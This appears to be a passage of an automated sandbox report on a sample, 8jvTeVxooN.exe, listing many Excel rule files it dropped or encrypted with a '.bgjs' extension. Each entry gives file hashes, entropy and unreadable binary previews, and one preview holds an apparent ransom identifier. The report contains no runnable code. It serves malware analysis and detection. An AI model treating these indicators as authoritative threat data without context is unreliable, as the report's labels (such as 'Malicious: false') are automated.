Preview:	<?xml8.._...(..Y...2.W.;.5..Mu....'6.....?lxlc.z..._Pbh..\|...'.Af...#.,./@....=....q.^n.L!.~4zi.X.8..R..~.J..jK.U.g6.F.yD...zw..B..b.....H....u.V....t...S\|.._..H^.W%0....i.:k.O.i[..........M. @.....M/^..>.2....u....\.r6..}6..b.#Z..\..._IV+.EK .w..~(..7tg......K.&.Ef^.....y.H)F.$h.........3C..I~.,.D?. ~...$s.......k.l.6.^.[..3...1(..'.?rS....P.G..3...3.....9.O.......l.w.......u.5....._..V.Zu......)x..Y....V.... t.D.q.u.P...)o..a:..L..P..mf.W[RJ._I$.JW......5Z....=<<..z........hq..<.1)4...U.kh.x.......S.p.........>..!..K...V...+?..ja/aU.....6...>\%^.J..WA.......;...M.E..b....p"...m.%:$W...8L....0..H.6P..........$..?.....p......n....i.G>..V.%...,W...>..@...Mic_a56....<.V.Y.R.F.C./I...Cv.M....Y...9..K..xc....!/6\..".......i..b......A#,.7V1..4.....:...?....Q/......k\|}.gq...r...N.k.#`.i..-4..o.+.Op.9.....).9.........X...M.[.rL...<s...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.936756215448262
Encrypted:	false
SSDEEP:	48:h4UUjx6Tgxl325pd3nZ/AnsQDduiCrFTLyVVN6mHawO5z7llwkoEJ0os+YKXreED:aNEgf34pRpAsQDd/CrFTLyV76oc5zDLB
MD5:	6EE564D8A7FFB96D886E1B9E3CB717B0
SHA1:	0D65ECC591F9C8199D07839BFE90CC10AFB846CA
SHA-256:	21768E2A5DA3F6559106049B6EA1FC55EDBC21FB5A3668059BB365E0799FA007
SHA-512:	FFED1EA402911D714CD4BFB8EFFAACF8F8FBA2700DFEE74E1E876415B714FA0D20175AAE4C4A4D6EAAA6332B6D09AB30A9D509471ED49C236A472347DA1E7E6D
Malicious:	false
Preview:	<?xml..Uz........z...M.W.....{..p......z\Ol..X....4F......}.S..D7).Y......k$X....7.....O.3K.i.o.fM...Y]...(.2.z...x..o...!...+>..0..U...W..a.2..!6.<..k4...'.....X.+.a~.}BR..v!}..Q.....T.....;p3.:.c.6..=#..c.`....~.:O[..^.`.;.O;q...Hto`.w{.-#.....,..l.&a..n.:@r....x..x{.r6i{.....1f>@...S.f+.P.c.6..u..v.PE.u;..TiI.x......i.H.v.1..(...H\|Q..%.q.`....s.\c...f.).u..DgU..$.Q.bn.......Q.0W.Wv....i^2Us......Lxnc'..x..r.V[9...w9.s......G......qZ.K8..t.-+.QI...<..t)..\|.2b....l.)8..I...=O.6R!.....Y\T....o...pT.a.n.q...(.......gO.......]..8.P...j......g.....=..K.B......{.......MI&Y&<y.....2:N0A.^.=.MSH...<.....<.b/...k.'..x.....W........c.H.b.A.g.Jq..7\".n..r..}}P>P1f.i._C.._...LB.........s)vm..f.7e..&C4Z}.M..8..@i.`T...S..............e.._..6..4.C...d.^d=....3...0Cp..._.{.VNH$/....q..6k.Y.."..O.....d.q...C....z..2...7ck...X.N..eL.._q....7....h.".G....k....%MI..5o...UxF.h.F{7.S...#d~[..C.2.$....T`._8Lr1.(..r.NQ.......d.Ez.(.l.T....0.r!.......I..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.907275437350402
Encrypted:	false
SSDEEP:	48:/E3dLgCg17SAbv6Pc3xMVql9ioIJDhlKeG6XctwCnbo5NLOe6HCyD:MFgCgE5ql9iVhOeRc2koa7T
MD5:	817DB0068567D9FB3DD181CACD9B0756
SHA1:	B31921B3E43D0DBCF50EDB9152E9CC45D9842662
SHA-256:	A1B0570D480AFC150B2F10BEE8DD52BD6EC7910269C953AB70238036E0253B12
SHA-512:	658833A272928A4D534A65E94F621C3B8CC29CED434E27CDEA5A147B337D0267CB6C4104790DC9F4BF3FE30DED0721558F2257708EF8ED68A85C2DFA9817C84E
Malicious:	false
Preview:	<?xml./3)...5.#...=.0..!E..d..J.[...p.j.8./..+.:&.y:G...}c/..g.....Cp..."....e.....Sn.\|{=B.Y.....%3....~. CQ%S..HmO......B..wW.(..F.x.&r...\.F\a;......p<.9.....j\.B.?.1.?j. .2..W..S.....w...1d...&.Dh.a.&.Rt.'.....hc.0...~.m....VDk..vd.5S..Cc...\|..} .@..F.....V.Z..6l..]$..,(..:S...%H........m.....'..hT..;7.e.....B\|.p 1.[..^:...W.&.%^.Ez..m.V.c.\/[\|F.z.....O...0.~...o..Cu..`..)...h.=...F....jW...m.f!i.8d.%.j.h.a.......Q!.d.7.%..9...E..F....N^>.......r.f.:...f..N;m.....@......XR{/...x.....5;u.z...._{1.'....5.?...".O>.......P.c$.....a ./?...]......./.G$...J..u...k.7a ..Y..A{..Y..?....T..s...K.6...o.K&?..~..HC.PpX....n..h..q....i...p..y.....%v.A9.][t.........g....?..L.)O.&...R.?...Cb........F.[.oe4/.6.K.N0..w.]5..p{....!........1Z.Y.$.x......?F..e.x.../5n.P.6W....o.K.\|...H+.N....jeN...{).P....q..y..)E._/[bl....F..U...g.~.<...9.3..AC8I..D..8..R..."..]?/.....e..i...\...$[zC.....]g3."......L.WA.h^.).R.,n...g.-.^.......%.7ln.?.,${...o.8'...f,./F...z:{..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.939111344937749
Encrypted:	false
SSDEEP:	96:4HbIm7pDW1yts7l+tRzZ64gzXPehBI43zttR3af3:pcpDOn7lyl646PeNxni
MD5:	0541BA2BC5BAB5A8B53D0425CC665B37
SHA1:	DF3848B8A9E61A5204E0D0602C2B8B57B2E97761
SHA-256:	038B16DDDD92DC16AA0AAFEB834977D6B24992285DBBEE65C03880C5B89201B0
SHA-512:	803B9FCDAD204D01A82EB92841CD06104B6047DE9A56CC340AAE271D961DC33B12B7A2930D3DFF2C151CC6663B2F3675CF5ABB220764C540B527DFB66C9CF48A
Malicious:	false
Preview:	<?xml..+..V.^FX.....~...g...t...s.ml{.1.........s.(E...Y,.;e}....?'........f$..I..._r...+.s..[...O.b.0$./...';'........s..B.%..w........HW.A(..5&xG...5F...\|d.V...]8...F.-fk..O8..BS..+MN.6......Z.$..PT'..)..a..d.'.^..}.i. .e.!.j.^..+.A4v.$c..{.-..I`.G.x.1..x..+_...9......iX.?....};j.P.A.0H.8(Q.......\|..S..'R..".$\0...im.)....?&.\~%h....G.yNS.m.p.<,....'.fz../01..F.6..(...p".Cpt.b...Q......%h....g.,.C....9u.4...5 .....Q..u..'........)c.@~..ZT..>..(..@m?tU...u..m.#.IU..7..,..M.....lW\.~.,"..93.....J~)..(..7...B...D......m....>Vgb<.?...@.l.u.....}............~>K.7..O+]......#.-..=........&..A.<.@.D.+[.....R;./".....=..j.`..n.B......q2..'.y...2.'.....&.....F......x.^`.N...;GJ...\|....y..`...V{-..i........O..xPo...I...QM........l..>.....f..~p;..E.'..(.a.P...........HTU....."q.e.......wQ...Br.D.4h....I....bsv..f.]iuh..qn.6..M.(..G..nFr..Q.p+.:.x.K..C.....-K(J...\|T._.&+@...._.;..'.D.k.u..m?.s..F..O.&..#..(......Ff....v...\|6h`U

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.966082776235517
Encrypted:	false
SSDEEP:	96:vacZbrSbh95GRBLqg93Z02jQkwgJGgV2j2bEYugmB1NOmjinfZhh:vrr69eB19p2kfJ5VmwEtfNOmji3h
MD5:	3384A430F33D6DCBA88A7EB0106AEF73
SHA1:	DDFC4A60E5A7E6F6C897BA65047E507FDC4F842B
SHA-256:	2188B8133961153511975EF2E18347FAC402446FCD5BE82422547AE34BB64D0A
SHA-512:	0B153C6BF446F436FB7C1401D20A1BC53431DFACC6CBCD703A8841004802428DCD07E52B3E6620A6133F89CC62409FF11C9C0BDA62EF3FEB51953CC78C9FB87F
Malicious:	false
Preview:	<?xmlFL_S}........s..........Y..N.Xc.\|...$....F\|....\|.B..$..}.C..C.;......,:.z..t=t.....H..."l>?..<..S./.1Z.'..._...e...\"!....Xw..{.P..D.......{.WM.FG...7U.}..Q.7.&.0A..y.........L.".N...^.m7(.).w.6.o....fe.D.....v.k[.j......lm.T.)...v.}.{(.!L#(..K....X.@R...J...C....i.a..{..h.>.<.B..x.E...Y.Y....lZ..GBR7......!.._rj.>"\|.z..\.`!.t...\|..d..b#!k..rmM3.<.;....pG....V![.hD...H.$Z..q.H.......].........."!..JF.....A".>eB.....1}~../.b.B.gi...."/ .....m..V5..;..n.<../?J.-e<O.t.-.9..h.i.G.B.N..R.h+}.h...".....fd."3.o..T...D.Ii.\.v.4.(6..?....1G...#.4.R.9.l....G..h..,x'.+-U..k..G....i ...D..P.+(M.`.&...P.g2+..........d....w...v).A..^..K.....a...2..H.."v.h.T.`O...0.E.E7I.b.....?d,..-..>....bR./I.^..\U\|;...}.....0...s7.xn.J...PX1U..g..>A..Kt...X(...v..a.bk...1,.Y/w...T,..P........1].._~R{A.O.{q0.......\{W.&......C._.TxH.1.I".R....,8.O9z.Yj..+..^..l..Y..^V....x/..sp..U.enF.M8..U..G.kr.5'.........QF......s;K....\|.G}...O/a.f..>............r.`?..._s.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.977638802557685
Encrypted:	false
SSDEEP:	96:5nrxQQ3kZ0+whsWuMNevK0Ru1wJeVjXdiiUazOK9P8IKlVgZnQRUvaMIpBKMcx:12aWvwAMv/1XdRwKNPEUDIpG
MD5:	4352F0C0666F4FB24F2EEC3348704E2F
SHA1:	11E3748F819761B042F95EC2B2DFA1ABF05D5654
SHA-256:	37AB9E0694E4DDFE74F63E816F466117A4042E9C20B09747B1047EF36AA28E76
SHA-512:	F6E83E1DF5F5043912A6A4FAE32C998805E67B966CF1B2C13FE48077EEB494E2D5D704DCAFF9412FA78A8AC39BFC0F9A207AA854305DACD1AE046DB9742E8B1E
Malicious:	false
Preview:	<?xml...Y.J..(.y.".fU...w......c..j.b....,g...:.k..\|.6..m....\..A.F.....o.....I..Pnxa~....S.\|.....e...hCB,....Z.W.e.............,qb.<AU...c.....W.l.R.U.Qy...>.n-.qL._8.....+.=...5..7.....B..rp.4.g.f..&".<..5.R..gG.... ...G6...g.....g......F.6.f....=3.....:.I9&v2.LU,7....M-!.5.....g.....I.....r.Fr.P.-.W.......Y.9._..5.\|.C.+U......%....... {].p.....U.x..2........6.3yI..I...tz..=.>...B...%2d.<.......E.j.l0.5P,..."M.MB-[S....e...-..Et....9r..O.`.."..],.U`..b%.w.....J{C..~.E.(.N..Gh........~...-...1.a....Mkf...pX.6.....>$..PL.....&..w..=.......3.v.......=.O<E.p......^f.J.%.a..p2.$K..U8P.8p.0#&nD........8./.\|y.D......D...7..L....^.6S......1..c.R..s6.m.......lE\|D$&.-.H.".r,..b#..`Z..RhRf.ab....}....s.....L...A....4....K....{..>L._..z..c.lC.aB......e....!..d.w...z.JV..5+.0...6.v.....b'..>.q....\...Ns..%-g.R..D.@&4./.......F3...8I:..-...-m....a..C.(.A.@S\..j..(,.....<L...6.Ez......H..~Hd.fM'....K...gI.r.m.B.q.3... ....../h....;.............5...d.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.97219064044354
Encrypted:	false
SSDEEP:	96:4dWshuhhulnbVLzlqkjsjW+34uG676yziSz44vp/fWt3PV+9THvCEZzFLFcvts1g:pWZbVPl1sCBru6yziS0u+t9+9z9ZEiUV
MD5:	A9405967C621584A3E56A42E0A1DAC80
SHA1:	DCBFC1CA9FB82ADA15B9F7A435DD4F5BD79F3EAA
SHA-256:	C944EDACB63B47D459045A70EE22CAB5B63C467B5147028F839E8BCAA43624F8
SHA-512:	235EAF79824F88E8A0F0D1DAE93DE3D4892F069E99574808781759E0908E0E48CD5AB598F24A091DFFF96ED39C91ECB49ACA446D178977C1076275279798CE05
Malicious:	false
Preview:	<?xml;..z.a.h.~......S.........F..3.s...&.lji.A.2..W.:.7+=..pB.u....:.R..(..;.+....q.....S....7..$w.$.....Xc.....Z...z...2....F.?.....C!.....c,..)...&z.D.^Og......!..L..##4.B...:q."...@................)J..."-'.....w.....&..0DN.t^d.RGt.x..W....N.....(\.i.6^r Y.G8E....l4.../Fb...N............VH$...a....)_...8.R.!x..{.o+yH.x.O.w........bK......n......wG..SM@.2..1..+.!..h....E..q.M....!.@,r...G...q.X....Xd........./:...[lv.C.N..\|.^..Y._t..\.....7....X1X..&.w.[F..M.S..~.....4c0T...d...7....9qV..w.......d.'......G-R...Q.`...;.J.n%..#...,...E.>...2X;..w.....R....U .aHc.V.......R/...g.3..ra...o.i7Iyw....i....7.=5...^..oH..#".^ST.2USl/..._A..........gX].j..!f...o.9.~o.~a...>5.R.u.....-?.O"3.I..:...q..>..q\..'...8..!....'h...T....[.u...p.......O.\.P...v.-..).D..-x...}.f..L..o.0G...6V........6..!.-...T.V..MV=..#.~.+.?.i.............9..k..3[n.4.2.J..-..f..Nqn./3#....J.....u#.........n.8.A....x..i..<j.7W>"\R..N.w..Jo{~....T..H...c../0...}7M....R..i`H.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.863624083998686
Encrypted:	false
SSDEEP:	48:07S0ugXPfQLBtn18/CN+JoClnmeHxNto2G/NtfD:Ucvn18q0JoSnhHxNa2G/P
MD5:	4A2302C884C33720AF986BEA19F0A72E
SHA1:	02F22BE2DCC9D0012C7CFA35ED10AD23BB08BD73
SHA-256:	53D25869A39A3E425873E28A0062EC17E2006901F0A4063D21DC06641098908B
SHA-512:	6B3BD6DA87D6BABB3948A550813E8A1E169DBD43AE8A80B6E8EDDC43C112B79FBC3A2564ACD5C4753B778A318F4BEFD1374F2D9394C6BD3971ADC4FB156E3ABD
Malicious:	false
Preview:	<?xml.]b.....S..'.U..]...Ug1^p.1..q.z.C.R....E+u.{.....2.w.[=n.".A_.B....2._."&.~.m.s.........&.Q.j.7...Q{...........Z.. b.3)...HwxR...M{D.Xe.........@j.]+{.e.>..O...(Y.o+Y..9Y..f..1.>..7.}...b.T....A..Q-..i..=.p..'Oc?..G...^6h.5j'...I.."B.m..f~..C,.z......w.b.....;...3.A... ...:..W.....>.I....7.K.2!6..m.TJ...K(.....`y.Xn._.K #.F......0..{\|..D.fz!.2..pj/......<;.fd..?Y....G......t]LB.G..R.u{.Z.J........>c..9{.z.[y....7Df.........}-.d.k..`V..Q..".=..,X.T..k....wSU_.....+.3.....Kt..ew....`.....W....d.Z$........S...-&.2`.~h.FG.mC...Q..R...2."..rSD...VK.....%F..o.0..R5.&".....#w/.w...R.\|~.+.r).3.)j...+}.H..w.pc.-.\|$.D..K...Z1..cE.-4.datP#..;..I.U&"T![K}...r...?E4AY.....V..w...y2.n.n...R*uT.D.}...b=>..U..f..6..T...`U.>..!...8..-..>.2.X'7..h..3.Po.}Z....Xh........d.e..{.....c$.>.!..n.>..+....Lth...\|.n...4)!V#8.E.y.nv....d.9~.4.n.R....{..;.@...n.n.....#4.....F]......&.).......#.l...eu...?;.........I.Q.F}.........R.t.e..qV..$..h....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.869924791348472
Encrypted:	false
SSDEEP:	48:AimhD1ukV/TQJ4CEM1/f+fL+kVcJN2V89c4lGmD:ZjkV/Q4vaIe9B
MD5:	413DC6C5AD402FBDB739AF34E6A05077
SHA1:	57DA5A97EF4852F1A00732E01C5729B942C42519
SHA-256:	E59219D24FBDA23AB700E831A4D410EFC37184724ED9D84A9108DEF18B1C7490
SHA-512:	FF3EAB9E416969AC9A4D178B8BFDA5562FDB5C8EF9508B32649A771015EC224F5B7644A47162B4525F617CC09F9942668AEA6B32BAB1F80929155155D0284707
Malicious:	false
Preview:	<?xml[.P....j%Qk.M.d...l...}/.)...`..2Fh.D..oX.?+.z...6.....Q.....G. _.Ba.........M\...7n...."..\.S......H`..[.J....[j..M...\/@S..c).>Mm..oiX........_1..r.c.\|=..}n.`.(.GeJ...X..Q.....#...Uv........u.R,.T.J.Sc..&...C4i>...F.x..!}..P..l...t.........Z...b.E.._........Xn..'.]&..\..... .N.2.@\|.9)..Z.,,..e.G...>..!...H.....M.D......tN.D.r..3....S....p.%.......5.o...t..$.x!D..Kb..lt2.:..rPd...._......H....S.}XS.........2(][.Y.6......@...pG."cur....!..%.............5;.....H....A[.+..l#.5..KF............j.AEC...K.V.....4"e#;c..1X..C.IC/..M\....\.0...6Z~.]..4.S8_G./..CS......j..K..w..0...>:...D..S.%....c...t...!F..e:;-.....q....m...p...-..'...w.....(.FNh.S.f...s...~...Kp<.z..S..C...{.6i.......4?....j..{../o..^.5...=.........dD.;...".*.,e.r.^.{OgS]....f.+.b.........;.R...v....A.).0..m..q...Cu...I..GX.H......:.....6WSifN...Rt.....X.6.`;H.U...q.T.."..x7R.J..l.9..4.Y..V!..;..L..8...FaI.C.......b.1.)....A....";..]i.2.7....qf3.V9t..o1@........z..cZ.....7..b...k

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.881673870962626
Encrypted:	false
SSDEEP:	48:6sTUmpULLeXd3wc55ylc5jy25v7QSXUWFVDD:6Iw+3wsQlc357UWPP
MD5:	ADEB96A5926589D215313A9E44AF8B49
SHA1:	EB7DCA3B0539F13DC0E4767BFBA2D3FA93D2C378
SHA-256:	AA6C0ED3952733417555CE53EA4E229F4E2F648D498BA939901FCE8288D44172
SHA-512:	C4E4F8D75C2358E4D597C4B3AB96FC8790E1520C865B487C989B4387F6DC430A27B7F44F0ED3F56D23196C80B0770B11B00636344C44A42DC1C05D7113EF16EE
Malicious:	false
Preview:	<?xml..u......U;..0..5.V...!.^.(`K.c.}F..d../....U.}......v^R..q.4.[..$P..p..E.L.h...;$._...4i..'.(......0..n...[.#.M..%.a.....e~.%Nd..0..V.......^,......s....aw.\..n.......[2Q..5t..p..&..;.vN;..p...U......-.}x...&...FYy..T.......f...q..8...V6t..i.O....D1Y..$R...vZ..!..$..^....p.'. )x.......\;.......H....z...W$2..@4b4.%{T.E..A].9v..5.F.EC.b.........?k.D~.kX.+.....#..........t..J>.......8..r.?....%!X^W.c..@.a..R..>.U.`mN.n.64...G-S.n..7g.{...`..}..\.a:#:#.j..B.....V..t..JwK... .b.a{..cO&.....N5..7;k0A.....k...X)...tt....u8...'.1..p.(1..-....p....B.....O.A.G..:. ...-Dtb....;.>.D.>.....B`....v..H....;.u..6..U...y......c..;...p.K....e./......yk.e:.Z..Q..b...u...P].`....1......M.:(B..zP\|.....]..Q2...(...l.5`.(....v..zWZ...NB.R.9..%&.&.h4..`...+....N.............^F...$.1.G..m.3.... ..d.t..MV....i...C}...fzq1...-....eL.'k....B.e[.N.AE..j...J..z....F..o9...K=..f...s].....x......RF.T.yL.R...?Tu..D..5.`.'.H.....5.....c.8./u..e...i.N.}....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.870914402981733
Encrypted:	false
SSDEEP:	24:XGkKHYTCNn4jgpe/E2jrnlTjwQLDwmKHiNWWc5aJU8hTKfhY0Vtn24yfA/UObD:2gTCmNDJpG+U8N1M4t03D
MD5:	3789BD4FEAA6D015DB7F5F4328128155
SHA1:	3C95548CDEF1BFA19A26756F9549666A29866889
SHA-256:	676783DD4782EA74CF027D7B14D21D111743D49A88F5F39CB20791D09E534271
SHA-512:	72F229DB3DB3AFCB4FE27D532BC0FB92CFFB4DCAC0994390B979311C989C2A4943DC70C07B45921C9295D457ECCB118CDEDCAEE2086C3DB15A224839182AC09B
Malicious:	false
Preview:	<?xml......0.+..Q..}f...s.#..@3...9.{P.}.^I..#......D8../...`....A../..j.e..O.@(f1..dh.E...t. ^l.....V..>]..G..>..X:.....!..f.u...+...I..\|]PI..^.j.#.z.dF5.K..h.<.-.^`.2.l./..{.Q....{....6.m..>...9R.T.^R..d\|Mb..b-:..\|..ZW..Im.Kv.COG8.....X!.:1..;.x........V.....r.....;].>.8..H..Y.c.R...Tfu...koe.-._....y"...$.:............Z.Y.Mo...... ....4...?.b..."'..Zu.....o......VuLr..Q.ev.5tb7..v.(..N.....T`..A.6..#....X+...n.....'P..........$..S...#O:...;.-:.....H..w..o.w~.7...>Pz....r..B...)......C9...K.!w...Fb......U%^.,.....N.Y.......m.8....Rj?...$3..n-...DK!g]..>..j.;..7.zN.Y4....+M..l..a.I.UJ....... .0...8PU....U..%?.R.E..1C...?..).Fg=.a`...{.i..GY.L#..(lK.8hV.}.;..`....55.=I.4.g.s..w..?...6.Xb[.N......%.}.....5..._7q.\.%.. ..g....}...-.h..f0.J.lc..].W...)......=U...Z..\.l..+rt#z......S.O{.9.v.A.O...k..;..........\...?.u.<..B^.......).).N..F.jbK..4-hih.~....P._..6R.....A..zP....?NXp6.QIC...R,.!.3..R*..^Z.M..5...U...D(.dQ.d..,.O..r_...Ss.aU.@X.>'

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.874196561023457
Encrypted:	false
SSDEEP:	24:XfaHlO5w8NKzovhmHBmND2+qVwhtB9WWkkk/sSa7bRIPLzPa88uxLZq7gY/9LMmI:XkO+MRwifXkkksSa7buHCwq7pL+D
MD5:	C4F53FAC41AF5DF2A00A408C549C4E62
SHA1:	3C4F5B3D51F9001EFA07B4A708D9EF624A571D09
SHA-256:	8533B40811EE05B780E268B6C413B0056247C09F74FA056587C568745B9194A0
SHA-512:	B23C4CEE4C367C0A032806CFDE6869186B70B7191F131AFF8F6798BE9621A6C54FEAF061BFA5C880BE57A6E38B9BA4CE4B1A41F6F1E8C03F70AC4BE8F6292E73
Malicious:	false
Preview:	<?xmlY ...(..]rEp.p~$.\|, ..H8.f...i.._..P3b.X...A)\..u.y.Q"W.C......E\|_L._^..8...CSv".A..!..w..f.f.L7w.....6.j.y.`....;l.%.o.G.e..VF.t.9.0.C/...{k...z..\|+.E.5.............0.s.ja.....uT...4...z.......P..r....W.A.Sk.K8:M#C...."....d....VhM.=.(7]-..Au..4{............o.a....3p...)@.`U.....WY.=.S..f._..b.X....vJ.....;..v<...n.'..."'E..#)k...r..ej...<R]F...;.R.n.m.H0.nP..............Qy.`G....\|.sn..Hd.U..;.1i.:..^.M..t..Bs.^8........G.\..CP 0d....y5/...._..Q@+.X>.....+....K.L>.n.~.S.~E..."....f.W.e.....\|...9..#.%~.....;..Q..Gn....D..B`....x..aK.<...Q..U....."......[.Nj8...."c....X..F&.....p..l:.;........\|3....W\|........$.~...J4S.c.}.[`#..o.......%..<..\.PW .^.>bnKZ..........oEH..."i6.y"...a.......:..x$q......\|l3i.... ..R.... ..r-.v.F...'Qd.O........N....r.<dn .Z?.w.g.!.-...hy...{..z6..(...g.J..r..e[.6.-..q.....X(X6.\|cB....t6..4.....%.^.D.(.^.r..N....(...;uZ..I=~q.....a..l.%...+ ......I..Y.X.....-.T......n,..X..7.....0.P`.....D...nz..w.g....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.862112595684842
Encrypted:	false
SSDEEP:	24:Api88LZn309nu7XoCqDvkBMG45lBd6QU7pXmlXBAM66Y7sQ71KNdzOQNEgod7dmX:M8LCabqYKiQhaMXY7sQpKNBYR+vD
MD5:	EA9F11F7E595DD61D6E8C8E7E8F0C057
SHA1:	7BF746F0C1F36E5075FFBBC37C9C3DEACD039B5F
SHA-256:	61A68A6845BDAA9F9E9E25C7B833C13C7A3FAAE9C9E298E242454BD2F365CE33
SHA-512:	CB3868DD43CF3CEB31E0F2902AA9C3F253F0EFAFE4DC7E153ACCDFEE68CEA30286E7A66B31282EA50B80C55F68092E39A7DF35BD30E340FB14893872503A1431
Malicious:	false
Preview:	<?xml...,......H.%.N2O...qa...<......5<....j.T..W.).\|....L2....M}..!p4.6Ce......H.@o...b.N....<Vn...H...qu.l......W.[>......a.}2\..mcH7.d... n.7f.\|..K.O...-..C..G:A...hG..........c.m.....3....].?.}.`....@...c8......$.....Y..E.-l..f.+F.&.'....ms....s...T=....'O.......p....3......r7.........%.s.?..=:.....Vg.....0.{..e.....j.p.(n.[F...B#...G.?..B........T...X?.1...0.......4.....=ej....I..G^.768bc....(.iuL.D....ds6X.8..Br.}..~?.9..f.O-....Yi.?P.0......mA..t.-...A-..2'.'..7W.>Lw.....v5..?.Tw@T.:..V.lA.Q;.].......l.2=.~.F.38;?.../.....v....\5ic...>..c9....#u....7]..L&..A{.N.lQ..u.ff..0Z....}.M..6...B&.....y.N...p.&J.....vn`Q..Z->....H.........K6EQ.i.U\3......C.Sj...L.,.ZN+........0.=;......n..E..%..I[..nM..*Z..R..SFT:..X.Qh".8.V.:..C.V.2...n<.w..o..?;.f.(L.z...\|..&9..sM.........SV...#a...A..rh..D...-.g.SI\n.].Rv<......0.-.6Xcj`:~yjJ..p.`49.F'x.{+.Zx.i-....3M`..0.3..[..u.n...V....k.gzYP..._...............zWd..r.z\|P..%...U.bS.f.O.D..xs..i}...:.%Fa...F..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.756310497771434
Encrypted:	false
SSDEEP:	24:VzulICUVcV4hjv3725HDTtRJpSCjD8HObD:deICJ4hjPi5HDT7hnD
MD5:	C9DD04AF725EA865171FCF0CE1356C5E
SHA1:	575C8C5F88D1BA2189493DDBF636A5CB5D5E100D
SHA-256:	39B2DA1410B7FFBF580CFE02806B1422B2E948CEBBF47812D045402F9B05F450
SHA-512:	EA7CE146658539ABA3FCD713EA05F483C1F024A9861164B91EC0632B85EE3D4C354BA0FE0F8E506EAD65291C04240EC64254ADD6F2B8A107A9C8D6D74EFCEC11
Malicious:	false
Preview:	<?xml..\E'.N.\M.P..!....:z.3.9g.!..R4.nj5.o....oC.......@........;.....bV.}7....0C...).....K.Y..Yr.SS.H.yX..+.@.ev..1H.D.-.t.\|..IY5\|R7...pZ.H:iF.6...C...=L....b....kq..........e......Y......B..2.dzK....I....N0$....X...}......6.i..\|Y'I.<.Q..%Z.-.~V?..ub..._...2..K..u5.Z.U...F.Y)ozG}..eF9..R.@-.....+S.".....f...l1.J_~.L....X.5.$............$..#..[...!.t.n..,.p..... .q7..%..?-.Uu...&.d..\|.P@\/..@...Y..?......s\.4...^z..QI."..K.H!.T.B#\|MRJ..y.../4..]z.....$......F.5......+..G.+..r......+.....\|...x(.....1..U.l?.f.)..t......O..>.{.K..m].E..o.F`...I.R.8.{....(.'..eD".w.s..6W..xZG$.\..e..c1.... z..4.B<.,..<.. B.<..d.hc..H]....B.i5.....'J......N...6.....\|.5.......'RT.%Lg.xf.o.Tz.R..^4..U.......H......Lg..Ju..{'... F@...w..'......#.l.=.P...Y...3+... .,.NX%...3.p{..@d~...T>..in....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.94948405656306
Encrypted:	false
SSDEEP:	96:zaAMifVKll5rVRQgfxolBC4wiL2fWjKrYe7GYbJ14k4:uA+RVNxrGYbY
MD5:	3B701F0580A34F3C012E86EDDB8A45AF
SHA1:	4E94C1E3AF9A577A78EC64E3FBF45BBC4CEFC1E7
SHA-256:	0BBF8089B974EFD2595A82A52FC342E2240B55975731FA3C118D6A86A271C8B8
